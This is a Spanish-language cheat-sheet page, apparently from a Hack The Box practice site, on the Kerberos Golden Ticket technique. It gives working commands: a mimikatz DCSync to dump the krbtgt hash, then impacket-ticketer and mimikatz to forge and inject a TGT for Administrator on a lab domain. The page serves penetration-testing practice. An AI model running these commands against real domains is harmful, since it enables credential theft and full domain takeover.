Golden ticket
Subtécnica de T1558 Robar o forjar tickets de Kerberos
Forjar un TGT para cualquier usuario con el hash de la cuenta krbtgt.
Cómo aparece en Hack The Box
En HTB aparece sobre todo al saltar entre dominios de un bosque: con el hash de krbtgt (o la clave de confianza) del hijo y el SID del padre en ExtraSids, eres Enterprise Admin.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Active Directory a fondo › Impacket
Golden ticket (con el hash de krbtgt)
Atacante
impacket-ticketer -nthash 64f12cddaa88057e06a81b54e73b949b -domain-sid S-1-5-21-XXXX -domain box.htb administratorMimikatz › Dominio
DCSync de krbtgt
Víctima
.\mimikatz.exe "lsadump::dcsync /domain:box.htb /user:krbtgt" "exit"
Golden ticket
Víctima
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:box.htb /sid:S-1-5-21-XXXX /krbtgt:64f12cddaa88057e06a81b54e73b949b /ptt" "exit"Ningún comando coincide.